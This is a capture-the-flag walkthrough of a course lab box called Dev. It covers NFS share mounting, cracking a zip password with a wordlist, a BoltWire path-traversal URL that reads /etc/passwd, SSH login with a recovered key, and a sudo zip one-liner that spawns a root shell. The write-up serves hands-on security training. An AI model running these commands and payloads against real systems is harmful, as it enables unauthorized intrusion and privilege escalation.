Walkthrough: Dev
A walkthrough of the Dev box from the course capstone: enumerate the services, mount an open NFS share to grab an SSH key, use a BoltWire LFI to find the right username, and finish with a sudo zip privilege escalation to root.
The box logs in locally with username Root and password Tcm.
Host Discovery
netdiscover finds the target on the local subnet at 192.168.57.9.
sudo netdiscover -r 192.168.57.0/24
Nmap
An nmap scan of the target turns up these open ports:
- 22 - OpenSSH 7.9p1
- 80 - HTTP / Apache 2.4.38 (important) - Bolt is installed, with an installation error
- 111 - RPCbind
- 2049 - NFS_ACL (network fileshare) (important)
- 8080 - HTTP / Apache 2.4.38 (important, potentially an open proxy)
- 33063 - nlockmgr
- 38677 - mountd
- 54169 - mountd
- 57211 - mountd
Service info points to a Linux OS.
Nikto
A Nikto scan of the target surfaces several directories:
/app/- contains aconfig.yamlfile in/app/config/src//composer.json/composer.lock/.gitignore- led to/app/cache/config-cache.json
ffuf Enumeration
Fuzz both HTTP services for directories:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.57.9/FUZZ
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.57.9:8080/FUZZ
Port 2049 - NFS
First, list the shares the host exports:
showmount -e 192.168.57.9
This reveals /srv/nfs 172.16.0.0/12, 10.0.0.0/8, 192.168.0.0/16.
Make a mount point and mount the share, then list it:
sudo mkdir /mnt/dev
sudo mount -t nfs 192.168.57.9:/srv/nfs /mnt/dev
cd /mnt/dev
ls
ls reveals save.zip. Unzipping it prompts for a password:
unzip save.zip
[save.zip] id_rsa password:
No clue what the password is, so crack it. Install fcrackzip and run a dictionary attack:
sudo apt install fcrackzip
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt save.zip
-v: verbose-u: unzip-D: dictionary attack type-p: file to use
The password cracks to java101.
The zip holds an id_rsa, and Jp looks like it could be a username. A possible avenue is to use the key to connect over SSH:
ssh -i id_rsa jp@192.168.57.9
We don't know the passphrase, but it's worth keeping in mind.
Port 8080 - BoltWire
Browsing http://192.168.57.9:8080, the earlier ffuf run already showed a /dev directory.
Searching Google for a possible exploit against this application:
A Local File Inclusion lets us expose files running on the server, which can lead to information disclosure, RCE, XSS, and more.
Create an account on the BoltWire site at http://192.168.57.9:8080/dev and log in. The URL then shows http//192.168.57.9:8080/dev/index.php?p=welcome. Modify it to read an arbitrary file:
http//192.168.57.9:8080/dev/index.php?p=action.search&action=../../../../../../../etc/passwd
That exposes the username jeanpaul. Try the SSH key with it, using the password found earlier in config.yaml, I_love_java:
sudo ssh -i id_rsa jeanpaul@192.168.57.9
We're in. Time to privesc.
Privilege Escalation via sudo zip
Check sudo rights:
sudo -l
The next step is to look for a privesc technique that abuses sudo zip permissions. GTFOBins (https://gtfobins.github.io) has one: search for +sudo zip. Type these into the SSH terminal:
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
That drops a shell with root-level access.
Grab the flag:
cd /root
ls
cat flag.txt